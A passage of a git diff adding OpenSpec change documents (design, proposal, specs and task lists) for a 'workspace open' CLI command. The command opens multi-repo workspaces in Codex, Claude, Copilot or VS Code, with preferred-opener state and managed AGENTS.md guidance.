during setup +- [x] 2.5 Infer link names from folder basenames during setup +- [x] 2.6 Let users add more repos or folders with a simple repeated prompt +- [x] 2.7 Run `workspace doctor` after setup and show a readable summary +- [x] 2.8 Print the workspace location, planning path, linked repos or folders, and next useful commands +- [x] 2.9 Keep preferred agent prompts and workspace opening out of this slice +- [x] 2.10 Add `.gitignore` handling for machine-local workspace state +- [x] 2.11 Record created workspaces in the local workspace registry +- [x] 2.12 Add tests for native Windows/PowerShell and WSL2-compatible path construction where practical + +## 3. Non-Interactive Setup + +- [x] 3.1 Add `workspace setup --no-interactive --name --link ` support +- [x] 3.2 Support repeated `--link` values +- [x] 3.3 Support `--link ` with inferred names +- [x] 3.4 Support `--link =` with explicit names +- [x] 3.5 Fail cleanly when non-interactive setup is missing a name or at least one link +- [x] 3.6 Resolve relative link paths to verified absolute runtime-local paths before storing local state +- [x] 3.7 Require `--no-interactive` when `workspace setup --json` is used +- [x] 3.8 Add `--json` output for non-interactive setup +- [x] 3.9 Preserve the interactive setup UX when `--no-interactive` is not passed + +## 4. Workspace Listing + +- [x] 4.1 Implement `openspec workspace list` +- [x] 4.2 Add `workspace ls` as an alias for `workspace list` +- [x] 4.3 List known OpenSpec-managed workspaces from the local workspace registry +- [x] 4.4 Handle the no-workspaces case with a clear next step +- [x] 4.5 Show each workspace location and linked repos or folders +- [x] 4.6 Report stale registry entries with status entries without deleting, rewriting, or repairing registry state +- [x] 4.7 Add JSON output with typed workspace objects and structured status arrays + +## 5. Workspace Selection + +- [x] 5.1 Make workspace commands work from outside workspace directories +- [x] 5.2 Add `--workspace ` to commands that need one workspace +- [x] 5.3 Use the current workspace when running from inside a workspace +- [x] 5.4 Use unregistered current workspaces with a non-fatal warning status +- [x] 5.5 Record unregistered current workspaces in the local registry after successful `workspace link` or `workspace relink` +- [x] 5.6 Keep `workspace doctor` diagnostic-only when the current workspace is unregistered +- [x] 5.7 Show an interactive picker when multiple known workspaces exist and no workspace is specified +- [x] 5.8 Select the only known workspace automatically when there is exactly one +- [x] 5.9 Fail clearly in non-interactive mode when workspace selection is ambiguous +- [x] 5.10 Fail with structured status output instead of prompting when `--json` workspace selection is ambiguous +- [x] 5.11 Use the local workspace registry for workspace lookup + +## 6. Workspace Links + +- [x] 6.1 Implement `openspec workspace link ` with inferred link names +- [x] 6.2 Implement `openspec workspace link ` with explicit link names +- [x] 6.3 Accept full repo roots and monorepo package/service/app folder paths +- [x] 6.4 Require linked paths to exist +- [x] 6.5 Allow links without repo-local `openspec/` +- [x] 6.6 Store stable link names in shared state and local paths in machine-local state +- [x] 6.7 Keep link names folder-style, and detect duplicate link names with a specific error that shows the existing link path and suggests a different name or `workspace relink` +- [x] 6.8 Resolve relative linked paths to verified absolute runtime-local paths before storing local state +- [x] 6.9 Preserve native Windows and WSL2-style paths as local path values without cross-runtime translation +- [x] 6.10 Ensure link only records state and does not edit the linked repo/folder +- [x] 6.11 Add `--json` output for `workspace link` + +## 7. Workspace Relinks + +- [x] 7.1 Implement `openspec workspace relink ` +- [x] 7.2 Let users repair or change the local path for an existing link +- [x] 7.3 Require relink paths to exist +- [x] 7.4 Resolve relative relink paths to verified absolute runtime-local paths before storing local state +- [x] 7.5 Keep owner or handoff metadata out of this slice +- [x] 7.6 Add `--json` output for `workspace relink` +- [x] 7.7 Return a clear error for unknown link names + +## 8. Workspace Doctor + +- [x] 8.1 Implement `openspec workspace doctor` for one selected workspace only +- [x] 8.2 Show the workspace location and workspace planning path +- [x] 8.3 Show linked repos or folders in readable human output with a clear issues section +- [x] 8.4 Report missing local paths, missing filesystem paths, local-only names, and selected-workspace location problems +- [x] 8.5 Report `repo_specs_path` when repo-local `openspec/specs` exists and `null` otherwise +- [x] 8.6 Include suggested fixes for each issue +- [x] 8.7 Avoid automatic repair behavior +- [x] 8.8 Add JSON output with typed workspace/link objects and structured status arrays +- [x] 8.9 Keep stale registry cleanup commands such as `workspace forget` out of this slice + +## 9. Documentation And Guidance + +- [x] 9.1 Document setup/list/link/relink/doctor in user-facing product language +- [x] 9.2 Document linked repos or folders and large-monorepo folder links +- [x] 9.3 Document that workspace visibility is not change commitment +- [x] 9.4 Avoid "working set", "code area", "entry", "alias", and "local overlay" in human-facing docs +- [x] 9.5 Document JSON output support and the object/status response pattern for non-interactive/direct commands +- [x] 9.6 Document global command behavior, workspace picker behavior, and `--workspace ` +- [x] 9.7 Document that setup controls workspace storage and always shows the workspace location + +## 10. Verification + +- [x] 10.1 Run `openspec validate workspace-create-and-register-repos --strict` +- [x] 10.2 Run targeted command tests for workspace setup/list/link/relink/doctor, including doctor inferring the current workspace +- [x] 10.3 Run targeted tests for links without repo-local OpenSpec and monorepo folder links +- [x] 10.4 Run targeted tests for JSON output, `ls`, `.gitignore`, non-interactive setup, required first link, verified absolute path storage, and JSON/no-interactive prompt suppression +- [x] 10.5 Run targeted tests for global command selection, unregistered current workspace handling, and local workspace registry behavior + +## 11. Review Fixes + +- [x] 11.1 Preserve `=` characters in inferred setup link paths while keeping explicit `--link =` support +- [x] 11.2 Add reusable core helpers for optional local state reads and setup link input parsing +- [x] 11.3 Fail `workspace link` and `workspace relink` before mutation when local state is invalid +- [x] 11.4 Report invalid local state distinctly in `workspace list` and `workspace doctor` +- [x] 11.5 Add regression tests for equals-sign setup paths and malformed local state behavior diff --git a/openspec/changes/archive/2026-05-06-workspace-open-agent-context/design.md b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/design.md new file mode 100644 index 0000000000..4934cebb3e --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/design.md @@ -0,0 +1,266 @@ +## Product Shape + +`workspace open` should feel like opening a multi-root working set. + +The user model is: + +```text +workspace setup = create the planning home and choose the default opener +workspace links = the repos or folders OpenSpec can plan across +workspace open = open that linked working set +--agent = use a different agent for this one session +--editor = open the working set as an editor workspace +``` + +Repo or folder visibility supports exploration and planning. Opening a workspace gives the agent or editor access to linked paths, and implementation starts through an explicit later workflow. + +## Command Surface + +Supported v1 forms: + +```bash +openspec workspace open +openspec workspace open platform +openspec workspace open --agent codex +openspec workspace open platform --agent github-copilot +openspec workspace open --editor +``` + +The positional workspace name is the primary explicit selection surface for `open`. User-facing docs should prefer the positional form because a flag such as `--workspace ` repeats the noun. + +For consistency with other workspace commands and scripts, `workspace open` may also support `--workspace ` as an alias for the positional name: + +```bash +openspec workspace open platform +openspec workspace open --workspace platform +``` + +User-facing docs should prefer the positional form. If both are provided and they differ, OpenSpec should fail with a clear conflict error. + +`--prepare-only` should not be included. The POC used it to build and print launch surfaces without starting the external tool, but that does not map cleanly to a user-facing intent. + +`--json` should not be included in this slice. If a future integration needs a machine-readable resolved-open context, design that as a separate context/query surface instead of overloading the launching command. + +`--change` should be deferred. Change-scoped open depends on workspace change planning and target semantics that this slice should not invent. + +## Workspace Selection + +Selection should follow this order: + +1. If a positional workspace name is provided, open that known workspace. +2. Otherwise, if the command runs from inside a workspace, open the current workspace. +3. Otherwise, if exactly one workspace is known locally, open it. +4. Otherwise, if multiple workspaces are known and the terminal is interactive, present a picker. +5. Otherwise, fail with a clear message that names the known workspaces and asks the user to pass the workspace name. + +This keeps the common cases direct while still supporting global use. + +## Preferred Opener + +Workspace setup should ask which opener the user wants by default. The answer is machine-local state because different machines may have different installed agents or editors. + +`workspace open` uses the saved opener when no override is passed. + +`--agent ` is a one-session override that leaves the saved preference unchanged. Persisting a changed default should require an explicit preference/config action in a later slice if users need it. + +This slice should not add global workspace opener config. OpenSpec already has a global config system, and workspace-level defaults can be added there later if repeated setup makes the local prompt feel noisy. + +The local preference should be shaped so a future global default can fit underneath it with smooth migration. The intended precedence is: + +```text +command override + -> workspace-local preferred opener + -> future global workspace default opener + -> interactive prompt or built-in fallback +``` + +In future config terms, that global default might look like `workspace.defaultOpener`; this slice documents the precedence for later implementation. + +Store the preferred opener as a structured object in `.openspec-workspace/local.yaml`: + +```yaml +preferred_opener: + kind: agent + id: codex +``` + +```yaml +preferred_opener: + kind: editor + id: vscode +``` + +Allowed initial values: + +```text +kind: agent, id: codex +kind: agent, id: claude +kind: agent, id: github-copilot +kind: editor, id: vscode +``` + +The structure keeps the agent/editor distinction clear and leaves room for future opener variants without changing the local-state shape. + +Interactive setup should show all supported opener choices, but it should order detected/available openers first. Unavailable choices should still be visible with a note such as `not found on PATH`. + +Setup should prefer the plain editor option over an agent when a fallback default is needed for an interactive picker. + +Non-interactive setup stores a preferred opener when the caller explicitly passes an opener option. Otherwise, it leaves opener selection for a later interactive `workspace open` prompt or a non-interactive error that explains how to choose an opener. + +The setup-time flag should be: + +```bash +openspec workspace setup --no-interactive --name platform --link /repo --opener codex +openspec workspace setup --no-interactive --name platform --link /repo --opener editor +``` + +`--opener ` sets the stored preference. It is different from `workspace open --agent ` and `workspace open --editor`, which are one-session runtime overrides. + +Initial opener detection should stay simple and executable-based: + +```text +VS Code editor: code +Codex: codex +Claude: claude +GitHub Copilot in VS Code: code +``` + +Keep initial detection scoped to executable availability in this slice. + +Supported agent values for the initial open surface should be limited to tools with a real launch or attachment mechanism: + +```text +claude +codex +github-copilot +``` + +Plain editor open should be represented by `--editor` with an explicit editor kind. + +For this slice, `--editor` means VS Code editor. The `.code-workspace` format is VS Code-specific, so prompts and errors should call this `VS Code editor` rather than implying generic editor support. + +`github-copilot` means the VS Code Copilot experience. It should open the maintained `.code-workspace` in VS Code because that is the product surface where this Copilot mode is available. + +If OpenSpec later supports a Copilot CLI agent, it should use a distinct value such as `github-copilot-cli` and launch the CLI agent directly. VS Code Copilot and a CLI agent have different opener mechanics, so they should remain distinct opener values. + +## Opener Availability + +`workspace open` should fail with a clear error when the selected opener is unavailable on the current machine. + +The selected opener remains required because it represents user intent, whether it came from local preference or a command-line override. + +Errors should name the missing executable or unavailable opener and suggest a concrete next step. For editor-based open, the error should include the `.code-workspace` path so the user can open it manually if needed. + +When no preferred opener is stored and no command-line override is provided, `workspace open` should prompt in interactive mode. In non-interactive mode, it should fail and tell the user to pass either an agent override or the editor option. + +## Editor Open + +`--editor` opens the workspace root plus every linked repo or folder with a valid local path. + +For VS Code-style editor support, OpenSpec should create and maintain a `.code-workspace` file as part of the workspace setup/link/relink lifecycle. `workspace open` should launch against existing workspace state. + +Expected local workspace shape: + +```text +workspace-root/ + changes/ + .code-workspace + .openspec-workspace/ + workspace.yaml + local.yaml +``` + +The `.code-workspace` file should include the workspace root and each linked repo or folder with a valid local path. Because linked paths come from machine-local workspace state, OpenSpec-created workspaces should ignore the maintained `.code-workspace` file by default. + +The ignore rule should target the specific maintained file and leave other `*.code-workspace` files available for user-authored tracking: + +```text +.code-workspace +``` + +This lets teams add a separate user-authored portable `.code-workspace` later if they have a shared relative-path layout. + +`workspace setup`, `workspace link`, and `workspace relink` should all run the same open-surface sync after mutating workspace state. That sync owns: + +- `AGENTS.md` +- `.code-workspace` +- workspace ignore rules for machine-local files + +Even when a command only changes local state, such as `workspace relink`, it should refresh the full openable workspace surface so user-facing files do not drift. + +`--agent github-copilot` may use the same editor workspace mechanics, but it also needs Copilot prompt context. Plain `--editor` keeps a normal editor-workspace intent. + +`--agent github-copilot` should still open VS Code. The distinction from `--editor` is intent: `--editor` opens the workspace as a normal editor workspace, while `--agent github-copilot` opens the same editor workspace for the user to work with the VS Code Copilot agent experience. + +## Workspace Guidance + +Workspace setup should install stable guidance in the workspace root, preferably `AGENTS.md`. + +The guidance should explain durable workspace rules: + +- the workspace root is the planning home +- `changes/` contains workspace-level planning +- linked repos and folders are available for exploration and planning +- visibility supports exploration and planning +- implementation edits start after the user explicitly asks for implementation work + +The managed `AGENTS.md` text should stay short and durable, covering stable workspace guidance while runtime details remain discoverable from workspace state. A starting shape: + +```markdown +# OpenSpec Workspace Guidance + +This directory is an OpenSpec workspace for planning across linked repos or folders. + +- Use `changes/` for workspace-level planning. +- Linked repos and folders are available for exploration and planning. +- Repo or folder visibility supports exploration and planning. +- Make implementation edits after the user explicitly asks for implementation work. +- Treat linked repos and folders as the implementation homes for their owned code. +- Use OpenSpec workspace commands instead of hand-editing `.openspec-workspace/*.yaml`. +``` + +`workspace open` is a launching feature. It should launch the selected opener against existing workspace files. + +For Claude and Codex, `workspace open` may still need to pass workspace and linked directory arguments to the agent process at launch because those tools do not consume `.code-workspace` directly. If an opener requires an initial prompt argument, it should be minimal, such as `Open this OpenSpec workspace.` + +Dynamic workspace facts should normally be discoverable from existing files: + +- linked paths: `.openspec-workspace/local.yaml` +- stable link names: `.openspec-workspace/workspace.yaml` +- active workspace changes: `changes/` +- editor working set: `.code-workspace` + +Report a command file or prompt file path only when the file is actually written and used. + +OpenSpec should own a marked workspace-guidance block inside `AGENTS.md`: + +```markdown + +# OpenSpec Workspace Guidance + +... + +``` + +`workspace setup`, `workspace link`, and `workspace relink` may rewrite that marked block during open-surface sync. Content outside the marked block should be preserved so users can keep their own workspace notes in the same file. + +If `AGENTS.md` is missing, OpenSpec should recreate it. If `AGENTS.md` exists and the markers are absent, OpenSpec should append the managed block while preserving existing content. + +## Linked Paths + +Root workspace open should attach every linked repo or folder with a valid local path. + +Broken links are skipped during workspace open. OpenSpec should surface clear status in human output, with `openspec workspace doctor` as the repair path. + +Links with repo-local `openspec/` state absent remain valid for workspace open. Missing repo-local OpenSpec state can matter later for implementation readiness while still allowing visibility for exploration and planning. + +## Safety Boundary + +The opening prompt or editor guidance should say: + +```text +Linked repos and folders are visible for exploration and planning. +Make implementation edits after the user explicitly asks for implementation work. +``` + +Prompt guidance is acceptable for this slice because apply/verify/archive sit outside the open surface. Later implementation workflows should enforce mode and scope through explicit context providers as well as prompt wording. diff --git a/openspec/changes/archive/2026-05-06-workspace-open-agent-context/proposal.md b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/proposal.md new file mode 100644 index 0000000000..dd5358b680 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/proposal.md @@ -0,0 +1,65 @@ +## Why + +After a user creates a workspace and links repos or folders, they need to open that workspace with their preferred agent or editor and have the working set available immediately. + +The workspace should provide repo and folder locations, link names, and the context that distinguishes planning from implementation. + +## What Changes + +Add the workspace-open experience: + +```text +Open this workspace. +Use my preferred opener by default and honor explicit opener overrides. +The opener sees the workspace location, linked repos or folders, current changes, and relevant instructions. +``` + +Links are the planning context. The local registry serves as a workspace-discovery index for finding known workspaces on the current machine. + +Expected user surface: + +```bash +openspec workspace open +openspec workspace open platform +openspec workspace open --agent codex +openspec workspace open platform --agent github-copilot +openspec workspace open --editor +``` + +`workspace open` should open the current workspace when run from inside one, auto-select the only known workspace when run outside a workspace, and present an interactive picker when multiple known workspaces are available. Users can pass a workspace name as the positional argument when they want to choose explicitly. + +Workspace setup should ask for and store a preferred opener in machine-local workspace state. `workspace open` uses that preference by default. `--agent ` is a one-session override that leaves the saved preference unchanged. + +`--editor` opens the workspace as an editor workspace. This is related to, but distinct from, `--agent github-copilot`: GitHub Copilot needs editor workspace support plus agent prompt context, while plain editor open should focus on opening the linked working set. + +Workspace guidance should live in durable workspace files where possible: + +- stable behavior belongs in workspace-level `AGENTS.md` +- opener-specific launch prompts stay minimal when required +- linked repos or folders are visible for exploration and planning before a change exists + +This slice supports root workspace launching through the documented opener forms. Public preview (`--prepare-only`) and machine-readable context (`--json`) surfaces belong in a future context/query design if a clear user need appears. + +This slice focuses on root workspace open behavior. Change-scoped sessions need the target model from workspace change planning before they can be specified cleanly. + +Planning dependency: + +- Depends on `workspace-create-and-register-repos`. + +## Capabilities + +### New Capabilities + +- `workspace-open`: Opens a workspace through a preferred agent or VS Code editor with linked repos or folders available for exploration and planning. + +### Modified Capabilities + +- `workspace-foundation`: Extends machine-local workspace state and setup/link/relink behavior with a preferred opener and maintained openable workspace surface. + +## Impact + +- `openspec workspace open` +- Workspace setup preferred opener prompt and local preference storage. +- Workspace prompt, editor workspace, and agent-launch context. +- Generated or committed agent guidance for workspace mode. +- Tests for opening inside a workspace, auto-selecting one known workspace, picking among multiple known workspaces, opening by workspace name, one-session agent overrides, and editor open. diff --git a/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-foundation/spec.md b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-foundation/spec.md new file mode 100644 index 0000000000..3dfce21174 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-foundation/spec.md @@ -0,0 +1,76 @@ +## ADDED Requirements + +### Requirement: Workspace Preferred Opener State +OpenSpec SHALL store a workspace's preferred opener in machine-local workspace state when the user explicitly chooses one. + +#### Scenario: Recording an interactive setup opener choice +- **WHEN** an interactive user chooses a preferred opener during `openspec workspace setup` +- **THEN** OpenSpec SHALL record the opener in `.openspec-workspace/local.yaml` +- **AND** the stored value SHALL use a structured `preferred_opener` object with `kind` and `id` + +#### Scenario: Recording a non-interactive setup opener choice +- **WHEN** a non-interactive user runs `openspec workspace setup --no-interactive --opener codex` +- **THEN** OpenSpec SHALL record `preferred_opener.kind` as `agent` +- **AND** it SHALL record `preferred_opener.id` as `codex` + +#### Scenario: Leaving opener unset during non-interactive setup +- **WHEN** a non-interactive user runs `openspec workspace setup --no-interactive` with opener selection omitted +- **THEN** OpenSpec SHALL leave the workspace preferred opener unset +- **AND** the unset state SHALL allow `workspace open` to prompt later + +#### Scenario: Supported preferred opener values +- **WHEN** OpenSpec accepts a preferred opener value +- **THEN** it SHALL accept `codex`, `claude`, `github-copilot`, and `editor` +- **AND** it SHALL map `editor` to `kind: editor` and `id: vscode` +- **AND** it SHALL map agent values to `kind: agent` and the matching agent `id` + +#### Scenario: Ordering setup opener choices +- **WHEN** interactive setup displays opener choices +- **THEN** OpenSpec SHALL show all supported openers +- **AND** it SHALL order openers with detected executables before unavailable openers +- **AND** unavailable openers SHALL remain visible with an availability note + +### Requirement: Maintained Workspace Open Surface +OpenSpec SHALL maintain files that make a workspace directly openable after setup and link changes. + +#### Scenario: Creating the open surface during setup +- **WHEN** `openspec workspace setup` creates a workspace +- **THEN** OpenSpec SHALL create or refresh `AGENTS.md` +- **AND** it SHALL create or refresh `.code-workspace` +- **AND** it SHALL create or refresh workspace ignore rules for machine-local open files + +#### Scenario: Refreshing the open surface after linking +- **WHEN** `openspec workspace link` succeeds +- **THEN** OpenSpec SHALL refresh `AGENTS.md` +- **AND** it SHALL refresh `.code-workspace` +- **AND** it SHALL refresh workspace ignore rules for machine-local open files + +#### Scenario: Refreshing the open surface after relinking +- **WHEN** `openspec workspace relink` succeeds +- **THEN** OpenSpec SHALL refresh `AGENTS.md` +- **AND** it SHALL refresh `.code-workspace` +- **AND** it SHALL refresh workspace ignore rules for machine-local open files + +#### Scenario: Building the VS Code workspace file +- **WHEN** OpenSpec refreshes `.code-workspace` +- **THEN** the file SHALL include the workspace root +- **AND** the workspace root folder entry SHALL use the root path without a synthetic display name +- **AND** it SHALL include every linked repo or folder with a valid local path +- **AND** it SHALL omit linked repos or folders whose local paths are missing or invalid + +#### Scenario: Ignoring the maintained VS Code workspace file +- **WHEN** OpenSpec refreshes workspace ignore rules +- **THEN** it SHALL ignore the specific maintained `.code-workspace` file +- **AND** user-authored `*.code-workspace` files SHALL remain eligible for tracking + +#### Scenario: Preserving user-authored AGENTS content +- **GIVEN** `AGENTS.md` contains content outside the OpenSpec workspace guidance markers +- **WHEN** OpenSpec refreshes workspace guidance +- **THEN** it SHALL replace only the marked OpenSpec workspace guidance block +- **AND** it SHALL preserve content outside the markers + +#### Scenario: Appending AGENTS guidance when markers are missing +- **GIVEN** `AGENTS.md` exists and OpenSpec workspace guidance markers are absent +- **WHEN** OpenSpec refreshes workspace guidance +- **THEN** it SHALL append the marked OpenSpec workspace guidance block +- **AND** it SHALL preserve the existing file content diff --git a/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-open/spec.md b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-open/spec.md new file mode 100644 index 0000000000..fc3e565aa3 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/specs/workspace-open/spec.md @@ -0,0 +1,199 @@ +## ADDED Requirements + +### Requirement: Workspace Open Command +OpenSpec SHALL provide a `workspace open` command that opens an OpenSpec workspace working set through an agent or VS Code editor. + +#### Scenario: Opening the current workspace +- **GIVEN** the command runs from inside an OpenSpec workspace +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL open that current workspace +- **AND** it SHALL use the selected opener for that workspace + +#### Scenario: Opening a named workspace +- **GIVEN** a workspace named `platform` is known locally +- **WHEN** the user runs `openspec workspace open platform` +- **THEN** OpenSpec SHALL open the `platform` workspace + +#### Scenario: Opening a named workspace with the selection flag +- **GIVEN** a workspace named `platform` is known locally +- **WHEN** the user runs `openspec workspace open --workspace platform` +- **THEN** OpenSpec SHALL open the `platform` workspace + +#### Scenario: Conflicting workspace selectors +- **GIVEN** workspaces named `platform` and `checkout` are known locally +- **WHEN** the user runs `openspec workspace open platform --workspace checkout` +- **THEN** OpenSpec SHALL fail with a clear conflict error +- **AND** the error SHALL name both conflicting selectors + +#### Scenario: Handling unsupported preview and JSON flags +- **WHEN** the user runs `openspec workspace open` with `--prepare-only` or `--json` +- **THEN** OpenSpec SHALL fail with a clear error that the root workspace open surface supports launching through a selected opener +- **AND** the error SHALL direct preview or machine-readable context needs to a future context/query surface + +#### Scenario: Handling change-scoped open before workspace planning +- **WHEN** the user runs `openspec workspace open --change ` +- **THEN** OpenSpec SHALL fail with a clear error that this slice supports root workspace open +- **AND** the error SHALL direct change-scoped open behavior to future workspace change planning + +### Requirement: Workspace Selection For Open +OpenSpec SHALL resolve the workspace to open using current workspace context, local registry state, and interactive selection. + +#### Scenario: Current workspace wins +- **GIVEN** the command runs from a workspace folder or one of its subdirectories +- **AND** no workspace name is provided +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL open the current workspace + +#### Scenario: Auto-selecting the only known workspace +- **GIVEN** the command runs outside a workspace +- **AND** exactly one workspace is known locally +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL open that known workspace directly + +#### Scenario: Picking from multiple workspaces +- **GIVEN** the command runs outside a workspace +- **AND** multiple workspaces are known locally +- **AND** the terminal is interactive +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL present a picker with workspace names and locations +- **AND** it SHALL open the workspace the user selects + +#### Scenario: Non-interactive ambiguous selection +- **GIVEN** the command runs outside a workspace +- **AND** multiple workspaces are known locally +- **AND** the terminal is non-interactive +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL fail with a clear message listing the known workspace names +- **AND** it SHALL ask the user to pass a workspace name + +#### Scenario: No known workspace +- **GIVEN** the command runs outside a workspace +- **AND** no workspaces are known locally +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL fail with a clear message +- **AND** it SHALL suggest running `openspec workspace setup` + +### Requirement: Opener Resolution +OpenSpec SHALL resolve the opener from command overrides, workspace-local preference, or an interactive prompt. + +#### Scenario: Conflicting opener overrides +- **WHEN** the user runs `openspec workspace open --agent codex --editor` +- **THEN** OpenSpec SHALL fail with a clear conflict error naming `--agent` and `--editor` +- **AND** it SHALL avoid launching any opener +- **AND** it SHALL leave the stored preferred opener unchanged + +#### Scenario: Using the stored preferred opener +- **GIVEN** the workspace has a machine-local preferred opener +- **WHEN** the user runs `openspec workspace open` using default opener resolution +- **THEN** OpenSpec SHALL use the stored preferred opener + +#### Scenario: Overriding with an agent for one session +- **GIVEN** the workspace has a stored preferred opener +- **WHEN** the user runs `openspec workspace open --agent codex` +- **THEN** OpenSpec SHALL use Codex for that open command +- **AND** it SHALL leave the stored preferred opener unchanged + +#### Scenario: Overriding with VS Code editor for one session +- **GIVEN** the workspace has a stored preferred opener +- **WHEN** the user runs `openspec workspace open --editor` +- **THEN** OpenSpec SHALL open the workspace in VS Code editor mode +- **AND** it SHALL leave the stored preferred opener unchanged + +#### Scenario: Prompting when no opener is stored +- **GIVEN** the workspace has no stored preferred opener +- **AND** the terminal is interactive +- **WHEN** the user runs `openspec workspace open` using default opener resolution +- **THEN** OpenSpec SHALL prompt the user to choose an opener +- **AND** it SHALL only offer openers with detected executables + +#### Scenario: Failing when no opener can be prompted +- **GIVEN** the workspace has no stored preferred opener +- **AND** the terminal is interactive +- **AND** no supported opener executable is available on `PATH` +- **WHEN** the user runs `openspec workspace open` using default opener resolution +- **THEN** OpenSpec SHALL fail with a clear message that no supported opener is available +- **AND** it SHALL avoid prompting with unlaunchable choices + +#### Scenario: Failing when no opener is stored in non-interactive mode +- **GIVEN** the workspace has no stored preferred opener +- **AND** the terminal is non-interactive +- **WHEN** the user runs `openspec workspace open` using default opener resolution +- **THEN** OpenSpec SHALL fail with a clear message +- **AND** it SHALL ask the user to pass `--agent ` or `--editor` + +### Requirement: Opener Launch Behavior +OpenSpec SHALL launch the selected opener using existing workspace files and linked path state. + +#### Scenario: Opening VS Code editor +- **GIVEN** the user selected the VS Code editor opener +- **WHEN** `code` is available on `PATH` +- **THEN** OpenSpec SHALL open the workspace's maintained `.code-workspace` file with VS Code + +#### Scenario: Opening GitHub Copilot in VS Code +- **GIVEN** the user selected `--agent github-copilot` +- **WHEN** `code` is available on `PATH` +- **THEN** OpenSpec SHALL open the workspace's maintained `.code-workspace` file with VS Code +- **AND** it SHALL treat this as the VS Code Copilot experience + +#### Scenario: Opening Codex +- **GIVEN** the user selected `--agent codex` +- **WHEN** `codex` is available on `PATH` +- **THEN** OpenSpec SHALL launch Codex from the workspace root +- **AND** it SHALL attach every linked repo or folder with a valid local path using Codex's supported directory attachment mechanism + +#### Scenario: Opening Claude +- **GIVEN** the user selected `--agent claude` +- **WHEN** `claude` is available on `PATH` +- **THEN** OpenSpec SHALL launch Claude from the workspace root +- **AND** it SHALL attach every linked repo or folder with a valid local path using Claude's supported directory attachment mechanism + +#### Scenario: Missing opener executable +- **GIVEN** the selected opener requires an executable that is not available on `PATH` +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL fail with a clear error naming the missing executable +- **AND** it SHALL keep the selected opener as the required opener + +#### Scenario: Missing VS Code executable +- **GIVEN** the selected opener is VS Code editor or GitHub Copilot in VS Code +- **AND** `code` is not available on `PATH` +- **WHEN** the user runs `openspec workspace open` +- **THEN** OpenSpec SHALL fail with a clear error naming `code` +- **AND** it SHALL include the maintained `.code-workspace` path so the user can open it manually + +### Requirement: Linked Working Set Visibility +OpenSpec SHALL make linked repos and folders visible for workspace exploration and planning before change creation. + +#### Scenario: Attaching valid linked paths +- **GIVEN** a workspace has linked repos or folders with valid local paths +- **WHEN** the user opens the workspace through an opener that supports linked directory attachment +- **THEN** OpenSpec SHALL include every valid linked path in the opened working set +- **AND** it SHALL support opening before a workspace change exists + +#### Scenario: Skipping broken linked paths +- **GIVEN** a workspace has at least one linked path that is missing or not recorded locally +- **WHEN** the user opens the workspace +- **THEN** OpenSpec SHALL skip the broken linked path +- **AND** it SHALL report that the path was skipped with `openspec workspace doctor` as the repair path +- **AND** it SHALL continue opening the workspace when the selected opener itself is available + +#### Scenario: Opening links with repo-local OpenSpec state absent +- **GIVEN** a linked repo or folder has a valid local path and repo-local `openspec/` state is absent +- **WHEN** the user opens the workspace +- **THEN** OpenSpec SHALL include that link when its local path is valid +- **AND** it SHALL treat missing repo-local OpenSpec state as an implementation-readiness concern for later workflows while continuing open + +### Requirement: Workspace Open Guidance +OpenSpec SHALL use durable workspace guidance as the primary context source for root workspace open. + +#### Scenario: Launching with existing workspace guidance +- **GIVEN** the workspace has OpenSpec-managed guidance in `AGENTS.md` +- **WHEN** the user opens the workspace +- **THEN** OpenSpec SHALL refresh the maintained `.code-workspace` from current linked path state +- **AND** it SHALL launch the selected opener against refreshed workspace files +- **AND** it SHALL use durable workspace files as the primary workspace-open artifact + +#### Scenario: Minimal required launch prompt +- **GIVEN** an opener requires an initial prompt argument +- **WHEN** OpenSpec launches that opener +- **THEN** OpenSpec SHALL use a minimal prompt such as `Open this OpenSpec workspace.` +- **AND** durable workspace rules SHALL remain in workspace files diff --git a/openspec/changes/archive/2026-05-06-workspace-open-agent-context/tasks.md b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/tasks.md new file mode 100644 index 0000000000..497d63d854 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-open-agent-context/tasks.md @@ -0,0 +1,89 @@ +## 1. Preferred Opener State + +- [x] 1.1 Add structured `preferred_opener` support to workspace local state parsing and serialization +- [x] 1.2 Support backward-compatible parsing for existing local workspace files while adding `preferred_opener` +- [x] 1.3 Validate supported opener values: `codex`, `claude`, `github-copilot`, and `editor` +- [x] 1.4 Map `editor` to `kind: editor, id: vscode` +- [x] 1.5 Map agent opener values to `kind: agent` with the matching `id` +- [x] 1.6 Add simple executable detection for `code`, `codex`, and `claude` +- [x] 1.7 Add unit tests for preferred opener parsing, serialization, and invalid opener values + +## 2. Setup Opener Selection + +- [x] 2.1 Add interactive setup prompt for the preferred opener +- [x] 2.2 Show all supported opener choices with detected openers ordered first +- [x] 2.3 Mark unavailable opener choices with a clear availability note +- [x] 2.4 Prefer the plain editor option for setup fallback selection when a fallback is needed +- [x] 2.5 Add `workspace setup --opener ` for non-interactive setup +- [x] 2.6 Store a preferred opener during non-interactive setup when `--opener` is provided +- [x] 2.7 Add tests for interactive opener selection and non-interactive `--opener` +- [x] 2.8 Add tests that non-interactive setup with omitted `--opener` leaves opener unset + +## 3. Open Surface Sync + +- [x] 3.1 Add a shared open-surface sync helper used by setup, link, and relink +- [x] 3.2 Create or refresh root `AGENTS.md` with an OpenSpec-managed workspace guidance block +- [x] 3.3 Preserve user-authored `AGENTS.md` content outside the managed block +- [x] 3.4 Append the managed block to unmarked existing 